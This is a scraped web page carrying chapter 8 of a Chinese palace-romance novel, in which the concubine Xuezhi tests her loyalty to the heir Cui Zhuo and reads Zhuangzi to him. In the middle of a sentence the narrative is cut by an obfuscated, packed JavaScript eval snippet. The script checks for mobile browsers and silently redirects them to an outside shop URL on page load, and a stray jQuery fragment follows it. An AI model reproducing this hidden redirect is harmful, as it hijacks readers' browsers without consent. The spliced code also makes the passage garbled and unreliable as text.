默认冷灰
24号文字
方正启体

8. 第八章

作者:晏迟川本书字数:K更新时间:
    送走宾客之后,雪枝落后崔濯半步,慢慢走回清珩院去。


    “又打听爷的行踪?”


    崔濯今日喝得不少,平日里那副温雅的皮褪去不少,即使只是一个匆忙的眼神,也深沉得如同浓墨。


    雪枝身体一抖,思索片刻说了实话:“妾身不是打听世子爷的行踪,是......夫人告知妾身的。”


    崔濯脚步一顿,若无其事地踏入门槛,语气意味深长道:“夫人待你,倒是亲厚得很。”


    雪枝不是听不出好赖话的人,她小心翼翼地觑着崔濯的神色,跟着他进门,小声道:“妾身是世子爷的人,自然事事以世子爷为先。”


    崔濯侧过身,只有半张脸被夕阳残留的光晕笼罩,看起来喜怒不辨。


    “那夫人同你说了什么?”


    “夫人希望我好生服侍世子爷,期盼世子爷娶妻生子,绵延后嗣。”雪枝抬头,目光直挺挺地望向崔濯。


    崔濯今日似乎被酒迷了眼,醉意上头,露出了平时绝不示于人前的恶劣笑意,抬手掐住了雪枝的下颌,低下头,两人的呼吸交错在一起。


    “那你呢?”


    声音低得仿佛情人间的低语。


    雪枝蓦地一笑,仿佛日照金山,红云漫天。


    “我会站在世子爷这边。”


    崔濯眸色一怔。


    他见到她的时候,要么就是愁眉不展,要么就是战战兢兢,还从未见过她笑的模样。


    真是……惑人。


    崔濯挑起雪枝的脸蛋,“你今日帮爷弄走了小桃仙,想要什么赏赐?”


    雪枝望进崔濯的眼眸里,朦胧的醉态模糊了他的神情,但眼底那一抹深不见底的寒潭,却叫雪枝心尖微颤。


    雪枝低下头,不知是否夜风寒冷,冻得双手冰凉。


    “妾身,无所求,只盼世子爷如意。”


    -


    崔濯带着奏折侍立在御书房外。


    御书房内传来一男一女激烈的争吵声,大监荣安尴尬地赔笑道:“崔大人稍候,皇后娘娘在里头和陛下说话呢。”


    崔濯面含微笑道:“无妨,我等等便是。”


    崔濯也没等多久,御书房内一个怒气冲冲的身影便冲出来,瞧见外头的崔濯,才收敛了怒容,见礼:“崔大人。”


    崔濯回道:“微臣见过皇后娘娘。”


    皇后匆匆点了个头,便随之快步离去,头上的步摇撞得叮当响。


    荣安进去通报片刻,便来通知崔濯进御书房回话。


    御书房内,所有人都阒静而立,屏息凝神,无人敢弄出一点声响,生怕触了龙案后那抹身影的眉头。


    崔濯大步迈入,“微臣参加陛下。”


    皇帝坐在龙椅上,胳膊支在桌上撑着额头揉捏太阳穴,见崔濯入内,叹了口气,疲倦道:“你来了,坐吧。”


    皇帝约莫二十出头的年纪,生得剑眉星目,俊朗不凡,登基两年,身上已隐隐泛着上位者不可侵犯的威严,气势逼人,叫人不敢直视。


    崔濯依言坐了,却听得皇帝问:“你方才见到皇后了?”


    “是。”


    “她可和你说了什么?”


    “微臣与娘娘并未交谈。”


    皇帝哼了声,“她倒是还要脸。”


    “朕不过宠幸了一个宫女,她便要死要活,跑来跟朕讲一堆大道理,当真烦得很。”


    “皇后娘娘也是为陛下着想。”


    “为朕?呵,朕瞧着她是为她的皇后之位着想,一个宫女罢了,也不碍着什么,朕如今是天子,值得如此小题大做吗?”


    崔濯没有应声,心思却飘到了他房中那人的身上。


    “陛下既然宠幸了,可想过要如何处理吗?”


    皇帝摆摆手:“封个末品更衣便是。”


    瞧着对这个宫女不甚在意的模样。


    “你今日来,是为了何事啊?”


    崔濯将手中的奏折呈上去:“江南巡盐之事,微臣已细查过,与陈万全所述几乎无二,所有线索及供词微臣都一一梳理,请陛下裁决。”


    皇帝翻阅着崔濯的奏折,周身气压越来越低,最后干脆把奏折往桌上一拍,怒道:“当真是胆大包天!”


    周遭奴才们都跪了一地,只有崔濯面色不变,安然坐在椅子上,轻描淡写地说了一句:“陛下息怒。”


    皇帝看着崔濯这波澜不惊的模样,哼笑:“你倒是坐得住。”


    “因为微臣与陛下心中所想是一样的。”崔濯微笑道。


    皇帝盯着他看了片刻,挥手把他赶走:“那就赶紧滚,少在朕面前晃悠,叫朕心烦!”


    崔濯毫不拖泥带水地退出御书房,而奏折留在皇帝手中,除了他,再无人能够知晓其中的内容。


    崔濯坐着马车回府,一路上闭目小憩,脑子里却不自觉地浮现出那日小通房对他说的话。


    一个被国公府主母推到他身边来的奴婢,竟然有胆子对他说站在他这边,崔濯一时觉得怪异,却又免不了感觉到颤栗。


    只是一个小丫鬟罢了,罢了,能成什么气候?


    “褚墨,上次让你查的事情,如何?”


    褚墨疑惑道:“主子说的是哪件事?”不怪他疑惑,崔濯吩咐他的事情没有成百也有五十,他这没头没尾的,他确实不知道是哪件事。


    崔濯:“......秦雪枝之事。”


    褚墨恍然:“雪枝姑娘的底细属下已吩咐人细细查过,她原是燕京郊外东溪村人,父亲是个秀才,在村里开了私塾,给幼儿启蒙,在她五岁那年,父母因在探亲途中遭遇土匪劫道,双双亡故,只留下她一个孩子,无论是父族还是母族,都不愿意抚养她,最后由村长出面,把雪枝姑娘判给她叔父抚养,但八岁那年,由于她堂兄要成亲,便将雪枝姑娘卖给人牙子,换了四两银子的聘金。”


    “雪枝姑娘被辗转卖过多次,十岁那年才入府,当时管绣房的张妈妈瞧她沉稳懂事,便将刺绣的手艺传授给她,她也因此被老夫人看中,留在身边伺候针线。”


    雪枝这十八年的经历,短短百十个字便能概括,可其中的艰难困苦,却不足为外人道。


    崔濯在侧门下了车,一路走回清珩院,透过回廊的轩窗,只见西厢房内一女子整握着绣绷在窗前刺绣,一针一线密织密缝,正应了那句“娴静时如春花照水”。


    崔濯心念一动。


    没了雪枝,国公夫人必定还会塞其他人过来,若是其他人,还不如这个无所依傍的雪枝。


    雪枝正做一个新绣样,听得来人报世子召她今夜去正房伺候,手一抖,针尖便扎进指头里,一颗鲜艳的血珠当即冒了出来,染红了雪白的布帛。


    她抬头,波澜不惊道:“我知道了。”


    人走后,碧霞和烟霞喜形于色,连声讨论要给雪枝如何打扮,才能留住世子爷的心。


    雪枝指头里针头大小的伤口已经愈合,只有点点血痕留在上面。


    雪枝丢开绣绷,双手架在窗台上,双目失神地望着远方。


    向崔濯投诚果然是有用的。


    自国公夫人院子里出来之后,雪枝便一直盘算着此事。


    这几日清珩院里清出去的小厮丫鬟不在少数,碧霞的妹妹巧云便是其中之一,而清理小厮丫鬟,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244767|197835||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    则是在她告诉崔濯国公夫人请了嬷嬷来教她规矩之后,才开始的。


    昨日趁着崔濯酒醉的那句话试探,也是在证明她猜测的真假。


    所幸,她赌对了。


    崔濯和国公夫人的母子关系,并不如面上看起来那般和谐,甚至于,崔濯可能还对国公夫人心怀芥蒂。


    雪枝“毫无保留”地向崔濯敞开秘密,他才能从心里头接纳她,不至于以后叫她整日提心吊胆。


    既然要做,那便要做得周全。


    其一是她要完成国公夫人交给她的任务,想方设法让崔濯答应娶妻,如此她才能够借此机会顺利出府。


    其二,则是她不能被崔濯发现异心,据这些日子观察,崔濯是个眼里揉不得沙子的人,若是被他发现她欺瞒于他,只怕最后出不了府,反而要因此遭祸。


    其三是她必须取得崔濯的信任,得到崔濯的宠爱,可又不能太过宠爱,需要拿捏分寸,免得出府太过麻烦。


    虽说最后一点应当不需要担忧,但总是有备无患。


    雪枝面色平静地喊住两个喜笑颜开的丫头,“不用太紧张,我不必准备什么,按照平常就行,过来帮我理丝线。”


    雪枝不希望自己变成深闺当中只知道盼望男人的怨妇,也不希望两个丫头一碰到崔濯的事情就大惊小怪感恩戴德。


    雪枝从笸箩中拿出被压在层层丝线下的云纹玉佩,盯着看了半晌,把上头的络子解了,十指翻飞,麻利地重新编了一个络子挂上去。


    碧霞看不懂雪枝的意图,但不妨碍她直言夸奖雪枝:“姑娘手真巧,这个玉佩挂上这个青色的络子,比之前面那个黑色的,更衬玉的颜色呢。”


    雪枝道:“你喜欢没用,得某个人喜欢才行。”


    碧霞掩唇而笑:“世子爷若见姑娘的真心,也必会喜欢的。”


    雪枝的指尖抚过络子。


    能不能真正获得崔濯的信任,还得看今晚。


    入夜,雪枝沐浴更衣后,便往正房里去,在屋外等候半天,冻得指头都僵了,里头的人才来传唤她进去。


    雪枝动了动僵直的手指头,捏住手里的玉佩,仿佛给自己吃一颗定心丸似的,才深吸一口气,迈入正房。


    崔濯依旧拿了本书在看,雪枝跟着她早死的秀才爹学过几个字,看得出那封页上印着的两个字是《庄子》。


    雪枝这次直接出声道:“世子。”


    崔濯眼睛没有从书页上挪开,“过来。”


    又是这句话,雪枝腹诽着,暗自翻了个白眼,快步走过去,却见崔濯把书随手递给她,道:“念给我听。”


    崔濯的动作让雪枝霎时一懵,“世子爷?”


    “怎么,听不懂爷的话?”


    雪枝倒是有些摸清了崔濯的说话方式,他心情好的时候,就自称“我”,不开心的时候,就自称“爷”,于是她乖乖地从崔濯手里接过书,问道:“爷想从哪里开始读?”


    崔濯道:“就读《逍遥游》一篇。”


    雪枝低头一看,他如今已然看到《秋水》篇,却非要让她去读开篇的《逍遥游》,这是怎么回事?


    雪枝心下疑惑,但还是顺从着崔濯的话念了起来:“北冥有鱼,其名为鲲......(1)”


    内室之中,只剩下女子潺潺如水般的声音。


    “......故曰:至人无己,神人无功,圣人无名(2)。”


    “停。”


    雪枝依言停下,却见崔濯的目光透过昏暗的烛光渗过来,笑容浅淡:“好一个‘至人无己,神人无功,圣人无名’(3),那么雪枝姑娘,你是哪一种呢?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)